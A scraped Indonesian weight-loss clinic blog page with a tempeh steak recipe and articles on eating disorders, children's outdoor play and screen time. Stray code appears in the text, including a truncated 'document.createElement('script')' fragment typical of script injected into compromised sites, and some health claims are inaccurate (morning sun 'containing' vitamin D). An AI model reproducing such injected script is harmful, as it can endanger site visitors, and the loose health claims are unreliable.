Makanan Indonesia dibuat ala barat? Ingin menggunakan tempe sebagai bahan utamanya, Kenapa tidak? Mari kita buat hidangan tempe yang lain daripada yang lain “Steak Tempe”, dijamin hidangan tempe kali ini terasa berbeda! Cara membuatnya mudah sekali, bila Anda mulai bosan dengan hidangan tempe yang itu-itu saja silahkan mencoba resep yang satu ini.

Untuk 4 Porsi dengan 110,13 Kalori er porsi

Bahan dan bumbu-bumbu :

  • 120 g tempe
  • 75 g ayam cincang
  • 1 btr telur ayam
  • 1 buah bawang bombay, cincang halus
  • 2 sdm tepung roti
  • 1 sdt merica bubuk
  • 1 sdt garam
  • 1 sdt kaldu bubuk

Saus Steak :

  • 1 buah bawang bombay, cincang
  • 1 sdt saus tiram
  • 2 sdt saus tomat
  • 2 sdt kecap manis
  • 1 sdt lada hitam
  • 1 sdt garam
  • 1 sdt kaldu bubuk
  • 150 ml air
  • 1 sdm tepung maizena, larutkan dengan 1 sdm air

Baca Juga: Resep Serba Sup Menyambut Musim Penghujan

Cara Membuat :

  1. Kukus tempe selama 15 menit untuk menghilangkan rasa getir. Hancurkan tempe sampai halus lalu campur dengan semua bahan steak yang telah disebutkan diatas.
  2. Bentuk tempe menjadi bulat pipih sesuai selera.
  3. Semprotkan sedikit minyak diatas grill plate, lalu grill adonan steak tempe, masak hingga kuning kecokelatan. Angkat dan sisihkan.
  4. Saus: Tumis bawang bombay pada wadah anti lengket hingga harum. Masukkan saus tiram, saus tomat, kecap, garam, gula, kaldu bubuk, lada kemudian masukkan air, tunggu hingga air mendidih, masukkan larutan maizena.
  5. Sajikan steak dengan saus, bisa ditambahkan pelengkap seperti kentang, wortel dan buncis.

} else {

05/21/2016
Selengkapnya
Tummy Talk, Weight Control Tips

Waspada: Gangguan Makan Ternyata Termasuk Gangguan Mental

Bahaya obesitas yang menakutkan bukan membawa perubahan pola hidup yang lebih sehat. Seringnya malah menimbulkan masalah lain sepert gangguan makan.

Obesitas atau kegemukan memang identik dengan penyakit dan penampilan yang kurang menawan. Inilah yang menyebabkan orang yang takut dan mau melakukan berbagai cara untuk menghindari kegemukan.

Perlu diingat, melakukan berbagai macam cara belum tentu baik untuk kesehatan. Dengan cara mengatasi kegemukan yang salah, Sahabat lightHOUSE bisa terjebak dalam problema yang lebih kompleks akibat terkena gangguan makan. Gangguan pola makan atau eating disorder ini mulai marak kasusnya di Indonesia.

“Cara-cara instan yang banyak ditawarkan juga memperparah kondisi ini,” kata Pakar lightHOUSE dr.Grace Judio-Kahl, MSc. Pemerhati gaya hidup dan konsultan penurunan berat badan yang mendirikan klinik lightHOUSE ini menemukan banyak kasus selama menangani pasien dengan masalah berat badan sejak tahun 2004.

Ia menambahkan, banyak orang yang mengeluhkan berat badannya sulit turun. Ternyata mereka menderita gangguan pola makan. “Orang tersebut makan karena dorongan hati bukan karena rasa lapar,” ia menjelaskan.

Jenis-jenis Gangguan Makan
Gangguan pola makan terdiri dari berbagai jenis, mulai dari bulimia, anoreksia, compulsive overating (makan berlebihan), emotional eating (makanan jadi pelarian saat stres), night eating syndrome (bangun dari tidur di malam hari untuk makan), hingga binge eating (makan banyak tetapi selalu merasa bersalah).

Dalam Pedoman Penyakit Gangguan Jiwa atau Diagnostic and Statistic Mental Disorder edisi terbaru, gangguan pola makan termasuk dalam gangguan mental.

Pakar kami yang lain, Psikollog Tara Adhisti de Thouars, MPsi. mengatakan, kebanyakan orang yang mengalami gangguan makan menyadari perilaku makannya tidak tepat, tetapi mereka sulit mengontrol diri.

“Eating disorder adalah musuh dalam diri sendiri. Terjadinya gangguan pola makan ini juga dipengaruhi oleh karakter orang yang bersangkutan,” kata Tara. Misalnya saja pada orang yang rentan stres dan emosinya tidak stabil akan lebih beresiko mengalami gangguan makan.

“Setelah makan banyak mereka merasa lepas atau lega. Namun, kemudian merasa bersalah, dan perasaan itu menghilangkan perasaan positif yang muncul sebelumnya,” papar psikolog lightHOUSE ini. Gangguan pada bagian tertentu di otak yang mengatur emosi dan pengendalian diri juga bisa memicu seseorang mengalami gangguan makan.

Menurut dr. Grace, gangguan makan tidak bisa diatasi hanya dengan konseling gizi saja. Diperlukan juga terapi kogntifi, bahkan obat-obatan, tergantung kondisi mental pasien. Metode semacam ini membuat diet menjadi lebih mudah dan menyenangkan. Dengan demikian Sahabat lightHOUSE tidak akan terjebak dalam diet ekstrim yang membuat berat badan turun naik atau yoyo.

 

* Ditulis ulang dari Artikel Pemenang II PT Shape UP Indonesia Journalist Writing Competition 2013 yang dimuat di Kompas.com Selasa, 19 Februari 2013 pk. 14:37 WIB, Penulis : Lusia Kus Anna

05/21/2016
Selengkapnya
Tummy Talk, Weight Control Tips

8 Cara Mengajak Anak Lebih Aktif Melakukan Kegiatan Luar Ruangan

Anak-anak senang akan rutinitas. Nah, kalau rutinitasnya main HP bagaimana dong? Pelajari cara mengajak anak agar lebih banyak bergerak.

Idealnya, anak hanya menonton layar televisi, komputer, atau smart phone, hanya dua jam per hari. Pasti Sahabat lightHOUSE juga sudah mengetahui tentang bahaya menatap layar berlama-lama untuk anak-anak.

Bukan hanya bahaya perkembangan motorik mereka, anak-anak yang menatap layar terlalu lama juga memiliki risiko lebih besar terkena obesitas dan penyakit-penyakit penyertai lain. Lalu bagaimana cara mengatasinya?

Pertama, orang tua harus mengakui kalau dirinya tidak sempurna. Sahabat lightHOUSE boleh sama memiliki idealisme membesarkan anak tanpa televisi dan gadget. Namun, di jaman serba layar ini, apakah mungkin?

Apalagi jika dipikir-pikir, dengan adanya gadget di tangan anak, orang tua jadi punya waktu untuk menerima side job di akhir pekan, atau untuk sekedar teh di sore hari tanpa gangguan rengekan.

Anak duduk tenang di samping Anda, asik dengan games spelling atau mewarnai di tablet mereka, tentunya terasa lebih aman kan? Kalau mereka dibiarkan bermain di luar rumah, bisa-bisa malah jatuh saat menendang bola, atau tertabrak motor ketika berkeliaran di sekitar rumah dengan sepeda.  Bagaimana dong?

Sambil mempertimbangkan untung-ruginya, coba camkan kembali. Banyak penelitian yang memaparkan manfaat kesehatan yang bisa didapat anak yang bermain di alam bebas.

Seperti yang sudah dijelaskan sebelumnya, bahaya yang mengincar dari sedentary lifestyle atau kurang gerak pun tidak kalah gawat. Sementara itu, berlari dan berloncatan di luar rumah, terbukti menurunkan tingkat stres dan menurunkan risiko obesitas.

Mungkin Anda harus meluangkan waktu ekstra untuk mengawasi mereka, tapi manfaat yang didapat juga sepadan. Tinggal bagaimana cara kita membuat alam di luar rumah jadi lebih menarik dari layar smart phone dan televisi. Simak 8 tips dari pakar lightHOUSE:

Cara Mengajak Anak Lebih Aktif Melakukan Kegiatan Luar Ruangan

1. Tentukan tempat
Mengajak anak bermain di luar bisa membuat orang tua stres akibat terlalu sering berteriak “jangan.” Daripada terus melarang, lebih baik ciptakan tempat yang aman. Untuk balita, bisa dengan membuat pagar agar anak tidak berkeliaran ke tempat-tempat berbahaya. Untuk anak yang lebih besar, bisa dengan menjelaskan peraturan sebelum mengajaknya ke luar.

Tidak perlu menyediakan alat main khusus di halaman. Biarkan anak Anda menjelajah dan mengembangkan imajinasi. Wajar jika anak-anak mengeluh bosan di saat-saat awal. Tunggu saja hingga kreativitas mereka muncul sendiri. Anak-anak perlu diasah rasa percaya dirinya dalam menciptakan hiburan sendiri tanpa bantuan mainan khusus atau gadget. Jika tidak ada halaman rumah, bisa manfaatkan taman-taman kota.

2. Ciptakan keajaiban
Buat gua rahasia atau rumah peri kecil bersama anak. Karang cerita tentang mahluk-mahluk yang tinggal di dalamnya. Rasa ingin tahu anak yang tinggi akan mendorong mereka kembali bermain di luar rumah.

Pilihan lain, buat tenda dari kain dan seprai. Gunakan tali jemuran atau kursi dan meja cukup ringan untuk digotong ke luar rumah. Buat benteng pertahanan dan cari ranting yang bisa dipakai sebagai pedang-pedangan. Jangan lupa, daun pun dapat dibuat menjadi mahkota.

3. Gali kecintaan pada alam
Jalani apa yang Anda nasihatkan ke anak. Orang tua yang ingin anaknya menghabisakan waktu di luar rumah, juga harus melakukan hal yang sama. Manfaat berada di luar ruangan juga sama untuk orang dewasa kok. Jadi, jangan ragu membawa buku atau pekerjaan lain ke halaman atau taman terdekat.

Tidak ada saIahnya juga untuk ikut bermain bersama anak-anak. Jika orang tua mencintai alam, aktif bergerak, dan memiliki motivasi berolahraga, anak juga tidak akan jauh berbeda. Yuk, beraktivitas di luar rumah! Mulai dari diri sendiri.

4. Daya tarik lumpur
Mainan mahal dan paling baru lama-lama juga akan rusak atau ketinggalan jaman. Tidak demikian dengan tanah, pasir, atau lumpur. Anda bisa kok membuat sandbox sendiri di halaman. Cari kotaknya, isi dengan pasir, dan lengkapi dengan kaleng, sendok plastik bekas, kardus susu, atau botol kosong.

Tutup sesi bermain tanah ini dengan mandi menggunakan air dari selang. Pasti rutinitas semacam ini bisa mengalahkan daya tarik game favorit mereka di tablet.

5. Biarkan anak ciptakan dunia sendiri
Banyak buku cerita anak yang menggambarkan penjelajahan tokohnya di lingkungan sekitar rumah. Ada yang menjadi detektif dan berinteraksi dengan binatang-binatang yang mereka temui. Jika lingkungan rumah Anda tidak semenarik itu, jangan putus asa. Ajak anak ke taman atau hutan lindung dan biarkan mereka menjelajahinya bersama teman. Tidak akan lama, imajinasi mereka akan memunculkan cerita unik tentang dunia rekaan sendiri.

6. Jangan takut kotor (dan sakit)
Apa gunanya punya sepatu boot lucu warna-warni jika hanya dipakai saat musim hujan? Biarkan sepatu itu kotor saat anak bermain di kubangan air. Siapkan baju yang cocok untuk kotor-kotoran. Namun, jika sesekali anak ingin tetap pakai baju princes saat mengunjungi rumah peri mereka di halaman, jangan dilarang. Toh, jika baju itu tidak bisa dibersihkan lagi, kita masih bisa membeli baju lain yang sedang diskon.

Demikian pula jika anak bermain air atau lumpur berjam-jam. Biarkan saja dan jangan terus diingatkan untuk berhenti. Biarkan anak mengenali sinyal-sinyal tubuhnya. Kalau kedinginan atau sudah lapar, mereka akhirnya akan bilang juga kok.

7. Beri anak tanggung jawab

Anak akan senang jika merasa dibutuhkan, bisa melakukan sesuatu, dan berperan serta dalam kegiatan rumah tangga. Dengan pendekatan dan penyampaian yang tepat, anak akan menerima, atau bahkan meminta, tugas rumah tangga yang bisa dilakukan di luar rumah. Misalnya berkebun, menyiram tanaman, atau menyapu halaman.

Untuk anak yang usianya sudah memungkinkan, biarkan mereka menggunakan peralatan sungguhan untuk mengembangkan skil. Jika mereka berhasil menanam dan merawat kebunnya sendiri rasa percaya diri dan bangga akan muncul. Berikan panduan yang jelas dan jangan terlalu menyampuri kegiatan mereka agar lebih mandiri.

8. Ajak teman

Jangan ragu untuk melibatkan anak-anak lain. Biarkan anak Anda mengajak temannya bermain bersama. Jika sudah cukup dekat, tawarkan pada orang tua teman itu untuk mempercayakan anaknya di bawah pengawasan Anda. Tambah anak, berarti tambah gerak juga bagi Anda. Itu artinya, Sahabat lightHOUSE membakar ekstra kalori dan ikut merasakan manfaat berada di luar ruangan. Stres pun bisa berkurang.

Baca juga: Minim Gerak dan Stres Kerja Bikin Perut Buncit

Hasil riset South East Asian Nutrition Survey (SEANUTS) tahun 2011, rata-rata anak di Indonesia berada di depan layar televisi, komputer, atau video game 2,4 jam per hari. Sebanyak 55,2 persen anak-anak menghabiskan waktunya di depan layar selama lebih dari 2 jam per hari.

Menurut pakar kami, anak yang kurang aktivitas fisik berisiko mengalami obesitas 3,6 kali lebih tinggi dibandingkan dengan anak yang beraktivitas tinggi. “Minimnya aktifitas anak dapat menyebabkan penyakit degeneratif datang lebih cepat, seperti kegemukan, diabetes mellitus, dan hipertensi,” kata pakar lightHOUSE dr. Sophia Hage, SpKO.

Ia menambahkan, hidup sedentary atau kurang aktif bergerak harus dikurangi, karena jika terus menjadi kebiasaan dikhawatirkan akan meningkatkan risiko kesehatan pada anak usia 5-12 tahun.

“Untuk itu, anak harus melakukan aktifitas fisik secara rutin dan terukur salah satunya bisa dengan berolahraga,” dokter spesialis olahraga ini menjelaskan. Batasi pemakaian pemakaian media elektronik seperti televisi, smart phone, dan komputer tidak lebih dari 2 jam per hari.

Jika Anak Anda masih memiliki masalah dengan berat badan juga meskipun sudah aktif bergerak, hubungi kami untuk mendapatkan bantuan medis dari pakar yang sudah tersertivikasi.

05/21/2016
Selengkapnya
Tummy Talk, Weight Control Tips

Saran Pakar lightHOUSE: Ajak Anak Bergerak 30 Menit Per Hari Sudah Cukup

Bergerak selama 30 menit tiap hari terdengar mudah kan? Ternyata tidak segampang itu, karena mayoritas anak di wilayah perkotaan kurang gerak.

Sahabat lightHUSE mungkin masih mengenal permainan lompat karet, petak umpet, gobak sodor, petak jongkok, benteng, dan permainan tradisional lainnya. Bagaimana dengan anak-anak Anda sekarang?

Kalau anak-anak tidak tahu, kemungkinan besar mereka belum pernah memainkannya. Permainan seperti sudah jarang ditemukan. Anak-anak sekarang lebih senang bermain games dari gadget. Akibatnya, hampir separuh anak-anak Indonesia termasuk dalam kategori kurang aktif bergerak .

Menurut data dari hasil survei SEANUTS (South East Asian Nutrition Survey) pada 2011 menunjukkan 57,3% anak Indonesia termasuk dalam kategori kurang aktif bergerak. Padahal, berperilaku kurang aktif bergerak mempunyai dampak yang kurang baik bagi kesehatan.

Menurut pakar kami dr. Sophia Hage, SpKO, kurang gerak bisa berdampak pada kondisi kesehatan anak. Salah satunya adalah obesitas. “Bergerak aktif adalah merupakan kunci mendapatkan tubuh yang sehat. Tentunya diimbangi juga dengan makan makanan yang bergizi,” ujarnya.

Salah satu pemicu kurang gerak pada anak adalah terlalu lama beraktivitas di depan layar. Seperti di depan komputer, teve, dan bermain gadget. Kalau dibiarkan terus-menerus disebut sebagai gaya hidup sedentary atau pola hidup yang kurang aktif bergerak.

“Hal ini tidak baik untuk kesehatan, apalagi untuk anak-anak yang masih dalam masa pertumbuhan,” ujar dokter spesialis olahraga ini. Berikut penjelasan dari dr. Sophia.

Kebutuhan Tubuh
Tubuh kita sehat, jika semua bagian yang menyusunnya sehat. Otak sehat, otot sehat, tulang sehat, paru, jantung, semua sehat. Bagian tubuh kita akan sehat, jika kebutuhannya terpenuhi dengan baik. Salah satu kebutuhan tubuh kita yang cukup penting adalah oksigen.

Pengangkut Oksigen
Karena oksigen sangat penting bagi tubuh, maka pengangkut oksigen dalam tubuh harus diperhatikan. Bagian tubuh kita yang erat hubungan dengan oksigen, misalnya, paru. Sebab, paru adalah alat pernapasan kita. Jika paru berfungsi baik, kebutuhan oksigen kita akan tercukupi. Jika paru dilatih dengan baik, ia akan berkerja dengan baik.

Olahraga
Olahraga terbukti dapat melatih paru kita. Jika tubuh kita dalam keadaan tidak banyak gerak, kita menghirup udara sekitar 5-6 liter. Akan tetapi, ketika kita berolahraga, kita dapat menghirup oksigen hingga 90 liter. Berarti, ketika kita olah raga, bagian tubuh yang mengatur pernapasan kita juga bekerja dengan baik.

Jantung Lebih Sehat
Olahraga juga membuat jantung kita lebih sehat. Ketika kita olahraga, jantung lebih giat memompa darah ke seluruh tubuh untuk memenuhi kebutuhan oksigen. Kamu tahu, oksigen diedarkan ke seluruh bagian tubuh kita melalui darah. Jika jantung giat bekerja, darah akan mengalir lancar. Jika darah lancar, pengiriman oksigen ke seluruh tubuh juga akan lancar.

Aktiflah Bergerak!
Kita disarankan berolahraga setiap hari. Minimal melakukan senam selama 30 menit. Sebaiknya, olahraga dilakukan di luar ruangan pada pagi hari sebelum jam 10. Sebab, sinar matahari pagi mengandung vitamin D yang sangat bagus bagi tulang kita. Jika belum bisa teratur olahraga, minimal, aktiflah bergerak. Pilih permainan-permainan yang membuat kita aktif bergerak. Misalnya, lompat tali, sepak bola, dan kejar-kejaran. Jika tubuh aktif bergerak, itu juga dapat mengurangi resiko terserang penyakit jantung. Sebab, tubuh yang aktif bergerak membuat jantung pun aktif bekerja. Jantung yang aktif bekerja, akan membuatnya berfungsi dengan baik.

Itu tadi hanya sebagian dari manfaat olah raga. Masih banyak manfaat lainnya. Jadi, kapan mau mulai olahraga? Jika membutuhkan bantuan, hubungi klinik lightHOUSE untuk mengetahui jenis olahraga yang tepat untuk anak Anda.

05/21/2016
Selengkapnya
Tummy Talk, Weight Control Tips

Daya Tarik Layar Media Elektronik Tingkatkan Risiko Anak Gemuk

Layar televisi, smart phone, laptop mencuri perhatian semua orang sehingga lupa bergerak. Bila ini terjadi sejak dini, kesehatan anak dipertaruhkan.

Lebih dari setengah anak Indonesia masuk kategori tidak aktif. Bukan hanya itu, prevalensi anak di Indonesia yang berada di depan layar televisi, komputer, atau video game lebih dari 2 jam sehari sebesar 55,2 persen.

Data ini merupakan hasil riset South East Asian Nutrition Survey (SEANUTS) mulai Januari sampai Desember 2011 di 192 kelurahan atau desa, 48 kabupaten atau kota, dari 25 provinsi di Indonesia.

Dari sampel 2.601 anak, diketahui sebanyak 62,2 persen anak laki-laki tidak aktif, sementara anak perempuan yang aktif mencapai 52,3 persen. Durasi anak berada di depan layar televisi, komputer, atau video game  atau screen time turut berpengaruh dalam minimnya aktivitas fisik.

Rata-rata anak di Indonesia berada di depan layar televisi, komputer, atau video game yakni 2,4 jam per hari. Sebanyak 55,2 persen anak-anak menghabiskan waktunya di depan layar selama lebih dari 2 jam per hari.

Menurut pakar kami, Ini dapat dikategorikan tidak baik, karena anak yang kurang aktivitas fisik berisiko mengalami obesitas 3,6 kali lebih tinggi dibandingkan dengan anak yang beraktivitas tinggi. Minimnya aktifitas anak dapat menyebabkan penyakit degeneratif datang lebih cepat, seperti diabetes mellitus dan hipertensi.

Dua Jam Sehari
Pakar lightHOUSE dr. Sophia Hage, SpKO mengatakan gaya hidup sedentary atau kurang aktif bergerak harus dihindari anak. Karena jika terus menjadi kebiasaan, dikhawatirkan akan meningkatkan risiko kesehatan terutama pada anak di usia 5-12 tahun.

“Untuk itu, anak harus melakukan aktifitas fisik secara rutin dan terukur salah satunya bisa dengan berolahraga,” dokter spesialis olahraga ini menjelaskan. Jika anak Anda cenderung lebih banyak menonton televisi atau bermain games, maka sebaiknya batasi pemakaian pemakaian media elektronik seperti televisi, smart phone, dan komputer tidak lebih dari 2 jam per hari.

Menurut dr. Sophia, awalnya mungkin tidak harus dengan olahraga. “Meningkatkan aktifitas anak dapat dilakukan dengan kegiatan sehari-hari yang intensitasnya disesuaikan,” ujarnya.

Sophia menekankan perbedaan antara aktifitas fisik dengan olahraga. Menurut Sophia, aktifitas fisik berupa kegiatan sehari-hari yang membutuhkan energi. Sedangkan olahraga adalah aktifitas fisik yang direncanakan, punya tujuan, dan memiliki ukuran.

“Penting bagi orang tua untuk mulai membatasi penggunaan fasilitas yang menurunkan aktifitas fisik anak dan mengajak mereka untuk melakukan aktifitas fisik,” kata Sophia. “Namun, orang tua juga harus memberikan contoh terlebih dahulu.”

Ketahui Intensitasnya
Aktifitas fisik dapat diketahui intensitasnya melalui uji bicara yang dilakukan saat anak melakukan kegiatan fisik. Sebuah aktifitas memiliki intensitas ringan apabila pelakunya mampu berbicara dan bernyanyi.

Sedangkan aktifitas ringan memiliki indikator pelaku mampu berbicara dengan terengah-engah dan tidak sanggup bernyanyi. Dan intensitas berat ketika pelaku tidak mampu berbicara lancar ataupun bernyanyi, seperti ketika berlari.

Sophia menyarankan untuk anak-anak memiliki aktifitas berupa olahraga yang rutin setiap hari dengan intensitas sedang hingga berat, memiliki durasi paling sedikit satu jam per hari, dengan tipe olahraga berupa aerobik dan yang memacu kekuatan otot serta tulang.var d=document;var s=d.createElement(‘script’);

05/21/2016
Selengkapnya

Tag Populer

Artikel Populer

LEMAK SUBKUTAN SULIT HILANG? LAKUKAN INI!

10/26/2023

Sebelas Pertanyaan yang Sering Diajukan Tentang Diet

09/19/2016

SOFT OPENING KLINIK LIGHTHOUSE BEKASI!

10/21/2022